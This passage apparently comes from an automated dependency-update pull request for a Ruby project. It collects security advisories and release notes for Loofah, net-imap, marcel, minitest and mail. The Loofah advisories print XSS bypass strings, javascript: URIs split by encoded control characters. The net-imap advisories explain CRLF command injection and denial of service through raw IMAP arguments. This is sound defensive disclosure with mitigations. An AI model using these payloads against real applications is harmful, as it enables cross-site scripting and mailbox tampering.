Loofah::HTML5::Scrub.allowed_uri?and then render the approved value into anhrefor other browser-interpreted URI attribute may be vulnerable to cross-site scripting (XSS). This includes applications that callallowed_uri?directly, as well as higher-level features built on top of it, such as Action Text 8.2's markdown link validation.Mitigation
Upgrade to Loofah >= 2.25.2.
Credit
Responsibly reported by GitHub user @connorshea.
🚨 Loofah: SVG `href` attribute bypasses local-reference restriction
Summary
Loofah's HTML5 sanitizer restricted only the
xlink:hrefattribute on certain SVG elements to local, same-document references. Browsers also accept a plainhrefattribute as an alternative to the deprecatedxlink:hrefper the SVG 2 spec, but Loofah did not apply the same restriction to it, allowing those elements to reference arbitrary external documents.Impact
SVG
<use>can load and render external SVG content by reference. If the referenced external SVG is same-origin and contains scripts or other dangerous content, it could execute in the context of the sanitized document.<feImage>can load external images, which can be used for tracking. Modern browsers restrict cross-origin<use>fetches, which limits but does not eliminate the risk.Applications that sanitize user-supplied SVG (directly, or as part of HTML) with Loofah's default allowlist are affected.
Mitigation
Upgrade to Loofah >= 2.25.2.
Credit
Found by the maintainer, Mike Dalessio, during a security audit.
🚨 Loofah `allowed_uri?` does not detect `javascript:` URIs split by numeric character references without semicolons
Summary
Loofah::HTML5::Scrub.allowed_uri?does not correctly rejectjavascript:orvbscript:URIs when the scheme is split by a numeric character reference that has no trailing semicolon. A browser decodes such references and resolves the URL to an executablejavascript:scheme, whileallowed_uri?reports it safe.This is a bypass of the fix for GHSA-46fp-8f5p-pf2m, which handled numeric character references with a trailing
;(	, , ) but did not cover the forms without semicolons.Details
allowed_uri?decodes HTML entities withCGI.unescapeHTML, which decodes numeric character references only when they carry a trailing;. A reference without a semicolon such as:(colon) or	(tab) is left literal, so the scheme-detection check finds no scheme, and the method falls through to its scheme-less path and returnstrue.A browser, however, decodes numeric character references even without a trailing semicolon. An encoded colon such as
:becomes the:scheme separator, sojavascript:alert(1)resolves tojavascript:alert(1). Encoded whitespace such as	(tab) is decoded and then stripped from the URL, rejoining the surrounding text, sojava	script:alert(1)also resolves tojavascript:alert(1). In both cases the URL executes whileallowed_uri?approved it as safe.Note that Loofah's default
sanitize()path is not affected, because Nokogiri decodes or entity-escapes HTML entities during parsing before Loofah evaluates the URI protocol. This issue only affects callers of the publicallowed_uri?string-level helper that pass it HTML-encoded strings.Impact
Callers that validate a user-controlled URL with
Loofah::HTML5::Scrub.allowed_uri?and then render the approved value into anhrefor other browser-interpreted URI attribute may be vulnerable to cross-site scripting (XSS). This includes applications that callallowed_uri?directly, as well as higher-level features built on top of it, such as Action Text 8.2's markdown link validation.Mitigation
Upgrade to Loofah >= 2.25.2.
Credit
Responsibly reported by GitHub user @MoonFuji.
🚨 Loofah has improper detection of disallowed URIs via `allowed_uri?`
Summary
Loofah::HTML5::Scrub.allowed_uri?does not correctly rejectjavascript:URIs when the scheme is split by HTML entity-encoded control characters such as (carriage return), (line feed), or	(tab).Details
The
allowed_uri?method strips literal control characters before decoding HTML entities. Payloads likejava script:alert(1)survive the control character strip, then is decoded to a carriage return, producingjava\rscript:alert(1).Note that the Loofah sanitizer's default
sanitize()path is not affected because Nokogiri decodes HTML entities during parsing before Loofah evaluates the URI protocol. This issue only affects direct callers of theallowed_uri?string-level helper when passing HTML-encoded strings.Impact
Applications that call
Loofah::HTML5::Scrub.allowed_uri?to validate user-controlled URLs and then render approved URLs intohrefor other browser-interpreted URI attributes may be vulnerable to cross-site scripting (XSS).This only affects Loofah
2.25.0.Mitigation
Upgrade to Loofah >=
2.25.1.Credit
Responsibly reported by HackOne user @smlee.
🚨 Improper detection of disallowed URIs by Loofah `allowed_uri?`
Summary
Loofah::HTML5::Scrub.allowed_uri?does not correctly rejectjavascript:URIs when the scheme is split by HTML entity-encoded control characters such as (carriage return), (line feed), or	(tab).Details
The
allowed_uri?method strips literal control characters before decoding HTML entities. Payloads likejava script:alert(1)survive the control character strip, then is decoded to a carriage return, producingjava\rscript:alert(1).Note that the Loofah sanitizer's default
sanitize()path is not affected because Nokogiri decodes HTML entities during parsing before Loofah evaluates the URI protocol. This issue only affects direct callers of theallowed_uri?string-level helper when passing HTML-encoded strings.Impact
Applications that call
Loofah::HTML5::Scrub.allowed_uri?to validate user-controlled URLs and then render approved URLs intohrefor other browser-interpreted URI attributes may be vulnerable to cross-site scripting (XSS).This only affects Loofah
2.25.0.Mitigation
Upgrade to Loofah >=
2.25.1.Credit
Responsibly reported by HackOne user
@smlee.
Release Notes
2.25.2
2.25.2 / 2026-07-15
Security
- Ensure
Loofah::HTML5::Scrub.allowed_uri?recognizes numeric character references without semicolons (e.g.javascript:alert(1)), which browsers decode and execute, and rejects schemes split by them. See GHSA-5qhf-9phg-95m2. @flavorjones- Ensure
Loofah::HTML5::Scrub.allowed_uri?recognizes the named character references	and
, whichCGI.unescapeHTMLdoes not decode and browsers strip from URIs, and rejects schemes split by them (e.g.java	script:alert(1)). See GHSA-8whx-365g-h9vv. @flavorjones- Ensure that both
hrefandxlink:hrefattributes on SVG elements likeuseare restricted to local (same-document) references. Previously onlyxlink:hrefwas restricted, allowing the SVG 2hrefattribute to reference external documents. See GHSA-9wjq-cp2p-hrgf. @flavorjonesImproved
- Harden
data:URI mediatype parsing inLoofah::HTML5::Scrub.allowed_uri?. The mediatype is now parsed following the WHATWG data: URL spec and RFC 2397 instead of simply being split on a colon. Adata:URI with an omitted or malformed mediatype is now treated astext/plainand allowed, and one without the required comma is now rejected. #305 @flavorjones- Remove
feedfrom the default set of allowed protocols. The feed URI scheme was never accepted as a standard protocol, and no major browser supports it. Removing it reduces the attack surface particularly for non-browser contexts. #304 @flavorjones- Remove a vestigial
܊lternative fromLoofah::HTML5::SafeList::PROTOCOL_SEPARATOR. This appears to be an ancient typo dating back to pre-extraction Rails circa 2007. #305 @flavorjones
2.25.1
2.25.1 / 2026-03-17
- Ensure
Loofah::HTML5::Scrub.allowed_uri?recognizes unescaped whitespace entities and rejects schemas containing them. See GHSA-46fp-8f5p-pf2m. #302 @flavorjones
2.25.0
2.25.0 / 2025-12-15
- Extract
Loofah::HTML5::Scrub.allowed_uri?which operates on a string. Previously this logic was coupled to the parsed tree in.scrub_uri_attribute. #300 @flavorjones- Tightened up how entities and control characters are handled when detecting allowed URIs. #301 @flavorjones
Full Changelog: v2.24.1...v2.25.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 26 commits:
version bump to v2.25.2Merge pull request #308 from flavorjones/security-2252Update `allowed_uri?` to decode semicolon-less numeric character referencesUpdate `allowed_uri?` to handle named whitespace character referencesProperly restrict SVG href attributestest: opt into JSON comment parsing for sanitizer testdata (#307)test: do not run in verbose modedoc: update CHANGELOGMerge pull request #305 from flavorjones/drop-protocol-typoversion bump to 2.25.2.beta1Harden `data:` URI mediatype parsingRemove `p` from PROTOCOL_SEPARATORMerge pull request #304 from flavorjones/drop-feed-protocolRemove `feed` from the default allowed protocolsversion bump to v2.25.1Merge pull request #302 from flavorjones/flavorjones/better-allowed-uriUpdate `allowed_uri?` to handle unescaped whitespace entitiesdoc: Move security reporting to Githubversion bump to v2.25.0doc: update CHANGELOGMerge pull request #301 from flavorjones/flavorjones/better-allowed-uri-detectionScrub.allowed_uri? better handles entities and control charactersMerge pull request #300 from flavorjones/flavorjones/extract-allowed-uri-methodExtract Loofah::HTML5::Scrub.allowed_uri?Merge pull request #298 from flavorjones/flavorjones/tests-libxml-2.14test: update tests to accept output from libxml 2.14
↗️ mail (indirect, 2.8.1 → 2.9.1) · Repo · Changelog
Release Notes
2.9.1
What's Changed
Add Ruby 3.4 to CI matrix in GitHub Actions workflow by @ydah in #1653
Improve decoding of Q- and B-encoded strings by @radar in #1664
Full Changelog: 2.9.0...2.9.1
2.9.0
What's Changed
- Fix little typo by @nbennke in #1462
- 2.8.0.rc1 Regression: Preserve message-level charset when adding parts (related to Rails ActionMailer) by @johnnyshields in #1495
- Use Rake's default rakelib/ directory by @olleolleolle in #1488
- refactor: Use Dir.glob only once in gemspec's "files" directive by @olleolleolle in #1486
- Configure RSpec's zero-monkey patching mode by @olleolleolle in #1485
- Remove unnecessary gemfile dependency on strscan by @deivid-rodriguez in #1483
- README: sending multipart mail by @kapfenho in #1479
- Add
delivery_interceptorsmethod to- Update MIME-Version to have correct case per the RFC by @mikel in #1503
- Adding explicit JRuby support by @mikel in #1508
- refactor: Use Ruby 2's dir where possible by @olleolleolle in #1487
- [Corrected] Layout/TrailingWhitespace: Trailing whitespace detected. by @mikel in #1510
- Improve documentation by @fwolfst in #1371
- Span => Spam by @sebbASF in #1320
- use unpack1 by @ahorek in #1513
- Lazy-load fields and elements by @c960657 in #1491
- Install libyaml-dev for Psych by @c960657 in #1522
- Feature/parse lf by @sebbASF in #1520
- use match? by @ahorek in #1514
- Bump actions/checkout to v3 by @sebbASF in #1535
- Fix for #1527 by @sebbASF in #1534
- Standardise on WARNING: prefix by @sebbASF in #1533
- Checks are in the wrong place by @sebbASF in #1531
- Allow manual trigger by @sebbASF in #1524
- Handle parsing of LF-only body with separate parts by @mikel in #1511
- Make activesupport gem optional by @sebbASF in #1532
- SMTP: refactor and accept starttls :always and :auto by @eval in #1536
- Adds Ruby 3.2 to the CI matrix by @petergoldstein in #1552
- Layout conventions are not the same as syntax by @sebbASF in #1558
- Don't shadow local variable by @sebbASF in #1318
- Revert PR #1495 because it is a dupe of #1470 by @johnnyshields in #1559
- Add Ruby 3.3 to CI matrix by @m-nakamura145 in #1595
- TruffleRuby is flaky by @sebbASF in #1599
- Use require_relative where possible by @eval in #1598
- Test string is 1 char short of 78 by @sebbASF in #1568
- Update documentation regarding errors array by @mikehale in #1605
- Fix all 'assigned but unused variable' warnings by @skipkayhil in #1551
- Fix IMAP search issues by @nevans in #1611
- Document SMTP TLS/STARTTLS settings (cherry-picked from 2.8 stable branch) by @nevans in #1613
- CI: Use checkout@v4 by @olleolleolle in #1616
- Drop unused "ad hoc" GH Actions workflow by @olleolleolle in #1615
- include rfc822 as attachments by @ahorek in #1389
- Address
warning: URI::RFC3986_PARSERwarnings by @yahonda in #1620- Add logger as a dependency for Ruby 3.4 warnings by @yahonda in #1619
- Fix regression in content_type for text part after converted to multipart by @jeremyevans in #1330
New Contributors
- @nbennke made their first contribution in #1462
- @johnnyshields made their first contribution in #1495
- @kapfenho made their first contribution in #1479
- @ghousemohamed made their first contribution in #1475
- @petergoldstein made their first contribution in #1552
- @mikehale made their first contribution in #1605
- @skipkayhil made their first contribution in #1551
Full Changelog: 2.8.1...2.9.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ marcel (indirect, 1.0.4 → 1.2.1) · Repo · Changelog
Release Notes
1.2.1
- Revert BMP images type to just
image/bmpinstead ofimage/bmp;format=compressed.
The later is more precise, but cause backward compatibility issues with Active Storage.Full Changelog: v1.2.0...v1.2.1
1.2.0
What's Changed
- Stop mutating source IO state during magic-byte detection by @andreaslillebo in #143
- improve SVG detection by @alexanderadam in #129
- improve HTML detection by @alexanderadam in #130
- add fixture for BOM CSV by @alexanderadam in #134
- add unicode string support by @alexanderadam in #138
- Add support for Sony RAW image format magic detection by @bogdan in #142
- Add support for .gpx files by @trekdemo in #113
- add
tika.xmlregex support by @alexanderadam in #132- add pkcs8 detection by @alexanderadam in #133
- Add hprof fixture and fix trailing space bug by @alexanderadam in #136
New Contributors
- @andreaslillebo made their first contribution in #143
- @alexanderadam made their first contribution in #129
- @bogdan made their first contribution in #142
- @trekdemo made their first contribution in #113
Full Changelog: v1.1.1...v1.2.0
1.1.1
What's Changed
New Contributors
Full Changelog: v1.1.0...v1.1.1
1.1.0
What's Changed
- Identify Sony and Canon raw images as subtypes of image/tiff by @afcapel in #89
- Fix frozen string literal warning in magic detection by @FrancescoK in #123
- Update tika definitions to latest version by @MarcelEeken in #114
- Fix detection of AV1 in WebM as video/webm by @alexandergitter in #104
New Contributors
- @afcapel made their first contribution in #89
- @FrancescoK made their first contribution in #123
- @MarcelEeken made their first contribution in #114
- @Mth0158 made their first contribution in #108
- @mark-young-atg made their first contribution in #105
- @alexandergitter made their first contribution in #104
- @rafaelfranca made their first contribution in #126
Full Changelog: v1.0.4...v1.1.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 66 commits:
Release 1.2.1Merge pull request #148 from rails/bmp-raw-typeRelease 1.2.0Prefer audio/ogg instead of audio/opusMerge pull request #136 from alexanderadam/fix/remove_trailing_mime_type_spaces_and_add_hprof_fixture_issue_112Add hprof to allowed regexp typesAlways run generate_tables.rbRemove trailign type name in all tablesremove trailing mime type spaces & hprof fixtureMerge pull request #133 from alexanderadam/fix/p8_detection_issue_90Merge pull request #132 from alexanderadam/fix/bzip2_detection_with_regex_issue_128Generate regexp directly during build not bootUpdate tika.xmlsimplify regex logic and allow only tested typesadd tika regex supportFix trailing space in hprof formatMerge pull request #113 from trekdemo/add-gpxAdd support for .gpx filesMerge pull request #142 from bogdan/x-raw-sonyAdd support for Sony RAW image formatMerge pull request #138 from alexanderadam/feat/add_unicode_string_type_supportMerge pull request #137 from alexanderadam/feat/more_fixtures_issue_2Merge pull request #134 from alexanderadam/feat/add_test_fixture_for_BOM_CSV_issue_103Merge pull request #130 from alexanderadam/fix/improve_html_detection_issue_79Merge pull request #129 from alexanderadam/fix/improve_svg_detection_issue_107Just use String#bMerge pull request #143 from andreaslillebo/mime-type-for-mutates-io-encodingRelease 1.1.1Remove now-redundant Ruby 3.4 frozen-string workaroundsStop mutating source IO encoding during magic-byte detectionFix Ruby 3.4 frozen string literal warnings with StringIO (#140)improve SVG detectionadd unicode string supportfeat: add more fixturesadd fixture for BOM CSVadd pkcs8 detectionimprove HTML detectionPrepare for version 1.1.0Add release workflowMerge pull request #127 from rails/update-tikaMerge pull request #126 from rails/ciUpdate tika tablesTest with Ruby 3.3 and 3.4Add devcontainer configurationMerge pull request #104 from alexandergitter/fix-av1-webmMerge pull request #105 from mark-young-atg/provide_changelog_link_on_rubygemsMerge pull request #108 from Mth0158/remove-duplicate-methodMerge pull request #114 from MarcelEeken/update-tika-dataMerge pull request #123 from FrancescoK/mainFix frozen string literal warning in magic detectionUpdate tika definitions to latest versionImprove test_helper files methodProvide a 'Changelog' link on rubygems.org/gems/marcelFix detection of AV1 in WebM as video/webmFix debug load on TruffleRubybin/console: load the lib itself by default and ignore broken stdlib debug on JRubyIgnore JRuby's stdlib debug trying to compare a nil SAFE levelLimit debug gem to MRIDev tooling: bin/console, bin/rake, debuggerWarn on unsupported magic matches, for the recordShorten test feedback loopTooling for data/tika.xml updatesFix RAW images file type detectionLimit Rack::Lint::InputWrapper test to Rack 2Update README to clarify the detection heuristicDemonstrate that the correct Illustrator content type is chosen regardless of declared type when the filename extension results in a more specific subtype of the PDF type sniffed from magic bytes
↗️ minitest (indirect, 5.25.5 → 5.27.0) · Repo · Changelog
Release Notes
5.27.0 (from changelog)
1 major enhancement:
Adding post install message announcing the EOL for minitest 5!
2 minor enhancements:
Removed TestTask::Work#initialize since Queue can now initialize with an Enumerable! AMAZING!
Use Kernel#warn uplevel argument for nicer warnings. (byroot)
5 bug fixes:
Cleaned up option aliasing a tad.
Removed obsolete conditional for prerecord
Removed obsolete guards around Warning.
Removed obsolete version guards for pattern matching assertions.
Switched all internal requires to require_relative.
5.26.2 (from changelog)
5 bug fixes:
Bumped minimum ruby to 3.1.
Alias Spec#name to #inspect for cleaner output in repls.
Fix pathing for Hoe::Minitest initialization to be more generic.
Fixed refute_in_epsilon to use min of abs values. (wtn)
Improved options processing and usage output to be more clear.
5.26.1 (from changelog)
The Ocean Shores, Slightly Less Tipsy Edition!
3 bug fixes:
Add links to API doco in README.
Add missing require thread.
Bumped ruby version to include 4.0 (trunk). (hsbt) (see also 5.14.2)
5.26.0 (from changelog)
The Seattle.rb Nerd Party, Slightly Tipsy Edition!
2 minor enhancements:
Added extra documentation to Minitest::TestTask options.
Make parallelize_me! a no-op when n_threads=1.
9 bug fixes:
Bypass parallel_executor entirely when n_threads=1.
Don’t require rubygems in Rakefile… it is 2025.
Ensure that minitest exits non-zero on Interrupt. (tavianator)
Fix Minitest.run sequence rdoc to include loop vars and read consistently.
Fix call to parallel_executor.shutdown when it isn’t defined.
Removed some 1.8/1.9-based code from the assertions and expectations.
Still fighting with rdoc? Yup. Still fighting with rdoc…
Switched assert_equal’s diff from Tempfile.open to Tempfile.create.
Use Regexp.escape for BASE_RE in case pwd has special chars. (astra_1993)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 44 commits:
Branching minitest to version 5.27.0! Adding post install message announcing the EOL for minitest 5.REVERTED: Removed obsolete conditional for prerecord. For now... Wait for MT6.- Removed obsolete guards around Warning.- Removed obsolete version guards for pattern matching assertions.- Removed obsolete conditional for prerecord+ Use Kernel#warn uplevel argument for nicer warnings. (byroot)Fixed reporter test shape variation warning. (havenwood)+ Removed TestTask::Work#initialize since Queue can now initialize with an Enumerable! AMAZING!- Switched all internal requires to require_relative.- Cleaned up option aliasing a tad.Switched to vim-test in readmeAdded minitest website to readmeanother tweak to GHA config to fix task namesCleaned up GHA configprepped for releaseDropped extra 2.7 compatibility code.Dropped extra 2.7 compatibility code.- Fix pathing for Hoe::Minitest initialization to be more generic.- Bumped minimum ruby to 3.1.- Fixed refute_in_epsilon to use min of abs values. (wtn)Fuuuuck I am SO tired of ruby 2.7!- Alias Spec#name to #inspect for cleaner output in repls.- Improved options processing and usage output to be more clear.prepped for release- Bumped ruby version to include 4.0 (trunk). (hsbt)Ryan! STAHP! Stop trying to "optimize" this.- Add links to API doco in README.Comment end of larger classes w/ name to help navigation.Fix formatting of design_rationale.rb, update specstweak assertion count to be consistent- Add missing require thread.prepped for release- Use Regexp.escape for BASE_RE in case pwd has special chars. (astra_1993)- Bypass parallel_executor entirely when n_threads=1.- Switched assert_equal's diff from Tempfile.open to Tempfile.create.clarify an assert_equal + newline + backslash n test output to be more readableImprove let tests to no longer be order dependent.- Ensure that minitest exits non-zero on Interrupt. (tavianator)- Removed some 1.8/1.9-based code from the assertions and expectations.- Still fighting with rdoc? Yup. Still fighting with rdoc...- Don't require rubygems in Rakefile... it is 2025.- Fix Minitest.run sequence rdoc to include loop vars and read consistently.+ Added extra documentation to Minitest::TestTask options.
↗️ net-imap (indirect, 0.5.9 → 0.6.6) · Repo · Changelog
Security Advisories 🚨
🚨 Net::IMAP: Command Injection via non-synchronizing literal in "raw" argument
Several Net::IMAP commands accept a "raw data" argument that is sent verbatim after validation to prevent command injection. However, if a server does not support non-synchronizing literals, it may still be possible to inject arbitrary IMAP commands inside non-synchronizing literals.
Details
Raw data arguments support embedded literal values, both synchronizing and non-synchronizing. Non-synchronizing literals can only be safely sent when the server advertises any of the
LITERAL+,LITERAL-, orIMAP4rev2capabilities. But raw data arguments do not verify server support for non-synchronizing literals prior to sending.Servers without support for non-synchronizing literals could handle them in several different ways: If a server sees a
"}\r\n"byte sequence but can't parse the literal bytesize, it may cautiously decide to close the connection, blocking any command injection attacks. However, a server without support for non-synchronizing literals may instead interpret the"+}\r\n"as the end of a malformed command line and respond with a taggedBAD. In that case, the contents of the literal will be interpreted as one or more new pipelined commands, allowing a CRLF command injection attack to succeed.This affects the following commands' string arguments:
criteriafor#searchand#uid_searchsearch_keysfor#sort,#thread,#uid_sort, and#uid_threadattrfor#fetchand#uid_fetchPrior to
net-imapv0.6.4, v0.5.14, and v0.4.24, raw data arguments were not validated in any way, so they were also vulnerable to this attack. See CVE-2026-42257 (GHSA-hm49-wcqc-g2xg).Impact
Fortunately,
LITERAL-is supported by most modern IMAP servers. Even without support for non-synchronizing literals, cautious servers may handle invalid literal bytesize by closing the connection . However, servers which handle a non-synchronizing literal just like any other malformed command will enable this vulnerability.If a developer passes an unvalidated user-controlled input for one of these method arguments, an attacker can append CRLF sequence followed by a new IMAP command (like DELETE mailbox). Although this does not directly enable data exfiltration, it could be combined with other attack vectors or knowledge of the target system's attributes, e.g.: shared mail folders or the application's installed response handlers.
Mitigation
Update to a version of
net-imapwhich validates server support for non-synchronizing literals before sending them.If upgrading
net-imapis not possible:
- Explicitly validate user-controlled inputs to prevent embedded non-synchronizing literals unless the server supports them.
- For a simpler, more cautious approach: all embedded literals can be unconditionally prohibited, by checking that string inputs do not contain any CR or LF bytes.
- Verify that the server advertises any of the
LITERAL+,LITERAL-, orIMAP4rev2capabilities before using untrusted string inputs for the affected "raw data" arguments.
🚨 Net::IMAP: Denial of Service via incomplete raw argument validation
Summary
Several Net::IMAP commands accept a raw string argument which is only validated to prevent CRLF injection and then sent verbatim. If this string is derived from user-controlled input, an attacker can force the next command to be absorbed as a continuation of the first command. This will cause the first command to eventually fail, but also prevents it from returning until another command is sent (from another thread). That other command will not return until the connection is closed.
Details
Net::IMAP::RawDatawas hardened in v0.6.4, v0.5.14, and v0.4.24 to reject string arguments that would smuggle an invalid literal-continuation marker onto the wire (CVE-2026-42257, GHSA-hm49-wcqc-g2xg). But the trailing-marker check uses an incorrect regex which does not match{0}or{0+}, so an attacker-controlled seachcriteriaor fetchattrstring ending in{0}or{0+}passes validation and is sent verbatim. Since these arguments are sent as the last argument in the command, they will be followed by CRLF. Although the CRLF was intended to end the command, the server will interpret it as part of a literal prefix. This consumes the next command the client puts on the socket as additional arguments to the current command.This affects the following command's arguments:
criteriafor#searchand#uid_searchsearch_keysfor#sort,#thread,#uid_sort, and#uid_threadattrfor#fetchand#uid_fetchThe command which contained the attacker's raw data will not be able to complete until the next command is issued. If commands are only sent from single thread, the first command will hang until the connection times out (most likely by the server closing the connection).
If a second command is sent (from another thread), this would allow the server to respond to the first command. This combined command will be invalid:
- The
{0}\r\nliteral prohibits other arguments (such as a quoted string) from spanning both commands- It will be sent without the space delimiter which is required between arguments.
- The second command's tag will not be a valid argument to any of the vulnerable commands.
So the server should respond to the first command with a
BADresponse, which will raise aBadResponseError.But, since the server never saw a second command, the second command will never receive a tagged response and the thread that sent it will hang until the connection is closed.
Impact
This will result in unexpected crashes and timeouts, which could be used to create a simple denial of service attack. This attack will present very similarly to common network issues or server issues which also result in commands hanging or unexpectedly raising exceptions. By itself, this does not allow command injection. But the confusion caused by these errors could lead to other downstream issues, especially in a multi-threaded environment.
Mitigation
Update to a patched version of
net-imapwhich validates thatRawDataarguments may not end with literal continuation markers.
Ifnet-imapcannot be upgraded:
- Validate that user input to the affected command arguments does not end with
"}".- Use of
Timeoutor other standard strategies for slow connections and misbehaving servers will also mitigate the effects of this.Extra caution is required when issuing commands from multiple threads. While
net-imapdoes have rudimentary support for issuing commands from multiple threads, the user is responsible for synchronizing that commands are issued in a logically coherent order, and for ensuring that commands are only pipelined when it is safe to do so. Practically, this means that many commands cannot be safely pipelined together, and user code will often need to wait for state changing commands to successfully complete before issuing commands that rely on that state change.
🚨 Net::IMAP: Command Injection via ID command argument
Summary
Two
Net::IMAPcommands,#idand#enable, do not validate their arguments. Arguments to either command could be used by an attacker to inject arbitrary IMAP commands.Please note that passing untrusted inputs to these commands is usually inappropriate and expected to be uncommon.
Details
When
Net::IMAP#idis called with a hash argument, although the ID field value strings are correctly quoted (escaping quoted specials), they were not validated to prohibit CRLF sequences.While
Net::IMAP#enabledoes process its arguments for aliases, it does not validate them as valid atoms (or as a list of valid atoms). The#to_svalue is sent verbatim.Impact
This is expected to impact very few users: use of untrusted user input for either command is expected to be very uncommon.
The documentation for
#enableexplicitly warns that using any arguments that are not in the explicitly supported list may result in undocumented behavior. Using arbitrary untrusted user input for#enablewill always be inappropriate.Although client ID field values will most commonly be static and hardcoded, dynamic input sources may be used. For example, client ID fields may be set by configuration or version numbers. Using untrusted user inputs for client ID fields is expected to be uncommon. But any untrusted inputs to client ID can trivially exploit this vulnerability.
Untrusted inputs to either command may include a CRLF sequence followed by a new IMAP command (like DELETE mailbox). Although this does not directly enable data exfiltration, it could be combined with other attack vectors or knowledge of the target system's attributes, e.g.: shared mail folders or the application's installed response handlers.
Mitigation
Update to a version of
net-imapwhich validates#idand#enablearguments.Untrusted inputs should never be used for
#enablearguments.If
net-imapcannot be upgraded:
- do not use untrusted inputs for client ID field values
- or add validation that client ID field values must not contain any CR or LF bytes.
🚨 Net::IMAP: Command Injection via non-synchronizing literal in "raw" argument
Several Net::IMAP commands accept a "raw data" argument that is sent verbatim after validation to prevent command injection. However, if a server does not support non-synchronizing literals, it may still be possible to inject arbitrary IMAP commands inside non-synchronizing literals.
Details
Raw data arguments support embedded literal values, both synchronizing and non-synchronizing. Non-synchronizing literals can only be safely sent when the server advertises any of the
LITERAL+,LITERAL-, orIMAP4rev2capabilities. But raw data arguments do not verify server support for non-synchronizing literals prior to sending.Servers without support for non-synchronizing literals could handle them in several different ways: If a server sees a
"}\r\n"byte sequence but can't parse the literal bytesize, it may cautiously decide to close the connection, blocking any command injection attacks. However, a server without support for non-synchronizing literals may instead interpret the"+}\r\n"as the end of a malformed command line and respond with a taggedBAD. In that case, the contents of the literal will be interpreted as one or more new pipelined commands, allowing a CRLF command injection attack to succeed.This affects the following commands' string arguments:
criteriafor#searchand#uid_searchsearch_keysfor#sort,#thread,#uid_sort, and#uid_threadattrfor#fetchand#uid_fetchPrior to
net-imapv0.6.4, v0.5.14, and v0.4.24, raw data arguments were not validated in any way, so they were also vulnerable to this attack. See CVE-2026-42257 (GHSA-hm49-wcqc-g2xg).Impact
Fortunately,
LITERAL-is supported by most modern IMAP servers. Even without support for non-synchronizing literals, cautious servers may handle invalid literal bytesize by closing the connection . However, servers which handle a non-synchronizing literal just like any other malformed command will enable this vulnerability.If a developer passes an unvalidated user-controlled input for one of these method arguments, an attacker can append CRLF sequence followed by a new IMAP command (like DELETE mailbox). Although this does not directly enable data exfiltration, it could be combined with other attack vectors or knowledge of the target system's attributes, e.g.: shared mail folders or the application's installed response handlers.
Mitigation
Update to a version of
net-imapwhich validates server support for non-synchronizing literals before sending them.If upgrading
net-imapis not possible:
- Explicitly validate user-controlled inputs to prevent embedded non-synchronizing literals unless the server supports them.
- For a simpler, more cautious approach: all embedded literals can be unconditionally prohibited, by checking that string inputs do not contain any CR or LF bytes.
- Verify that the server advertises any of the
LITERAL+,LITERAL-, orIMAP4rev2capabilities before using untrusted string inputs for the affected "raw data" arguments.
🚨 Net::IMAP: Denial of Service via incomplete raw argument validation
Summary
Several Net::IMAP commands accept a raw string argument which is only validated to prevent CRLF injection and then sent verbatim. If this string is derived from user-controlled input, an attacker can force the next command to be absorbed as a continuation of the first command. This will cause the first command to eventually fail, but also prevents it from returning until another command is sent (from another thread). That other command will not return until the connection is closed.
Details
Net::IMAP::RawDatawas hardened in v0.6.4, v0.5.14, and v0.4.24 to reject string arguments that would smuggle an invalid literal-continuation marker onto the wire (CVE-2026-42257, GHSA-hm49-wcqc-g2xg). But the trailing-marker check uses an incorrect regex which does not match{0}or{0+}, so an attacker-controlled seachcriteriaor fetchattrstring ending in{0}or{0+}passes validation and is sent verbatim. Since these arguments are sent as the last argument in the command, they will be followed by CRLF. Although the CRLF was intended to end the command, the server will interpret it as part of a literal prefix. This consumes the next command the client puts on the socket as additional arguments to the current command.This affects the following command's arguments:
criteriafor#searchand#uid_searchsearch_keysfor#sort,#thread,#uid_sort, and#uid_threadattrfor#fetchand#uid_fetchThe command which contained the attacker's raw data will not be able to complete until the next command is issued. If commands are only sent from single thread, the first command will hang until the connection times out (most likely by the server closing the connection).
If a second command is sent (from another thread), this would allow the server to respond to the first command. This combined command will be invalid:
- The
{0}\r\nliteral prohibits other arguments (such as a quoted string) from spanning both commands- It will be sent without the space delimiter which is required between arguments.
- The second command's tag will not be a valid argument to any of the vulnerable commands.
So the server should respond to the first command with a
BADresponse, which will raise aBadResponseError.But, since the server never saw a second command, the second command will never receive a tagged response and the thread that sent it will hang until the connection is closed.
Impact
This will result in unexpected crashes and timeouts, which could be used to create a simple denial of service attack. This attack will present very similarly to common network issues or server issues which also result in commands hanging or unexpectedly raising exceptions. By itself, this does not allow command injection. But the confusion caused by these errors could lead to other downstream issues, especially in a multi-threaded environment.
Mitigation
Update to a patched version of
net-imapwhich validates thatRawDataarguments may not end with literal continuation markers.
Ifnet-imapcannot be upgraded:
- Validate that user input to the affected command arguments does not end with
"}".- Use of
Timeoutor other standard strategies for slow connections and misbehaving servers will also mitigate the effects of this.Extra caution is required when issuing commands from multiple threads. While
net-imapdoes have rudimentary support for issuing commands from multiple threads, the user is responsible for synchronizing that commands are issued in a logically coherent order, and for ensuring that commands are only pipelined when it is safe to do so. Practically, this means that many commands cannot be safely pipelined together, and user code will often need to wait for state changing commands to successfully complete before issuing commands that rely on that state change.
🚨 Net::IMAP: Command Injection via ID command argument
Summary
Two
Net::IMAPcommands,#idand#enable, do not validate their arguments. Arguments to either command could be used by an attacker to inject arbitrary IMAP commands.Please note that passing untrusted inputs to these commands is usually inappropriate and expected to be uncommon.
Details
When
Net::IMAP#idis called with a hash argument, although the ID field value strings are correctly quoted (escaping quoted specials), they were not validated to prohibit CRLF sequences.While
Net::IMAP#enabledoes process its arguments for aliases, it does not validate them as valid atoms (or as a list of valid atoms). The#to_svalue is sent verbatim.Impact
This is expected to impact very few users: use of untrusted user input for either command is expected to be very uncommon.
The documentation for
#enableexplicitly warns that using any arguments that are not in the explicitly supported list may result in undocumented behavior. Using arbitrary untrusted user input for#enablewill always be inappropriate.Although client ID field values will most commonly be static and hardcoded, dynamic input sources may be used. For example, client ID fields may be set by configuration or version numbers. Using untrusted user inputs for client ID fields is expected to be uncommon. But any untrusted inputs to client ID can trivially exploit this vulnerability.
Untrusted inputs to either command may include a CRLF sequence followed by a new IMAP command (like DELETE mailbox). Although this does not directly enable data exfiltration, it could be combined with other attack vectors or knowledge of the target system's attributes, e.g.: shared mail folders or the application's installed response handlers.
Mitigation
Update to a version of
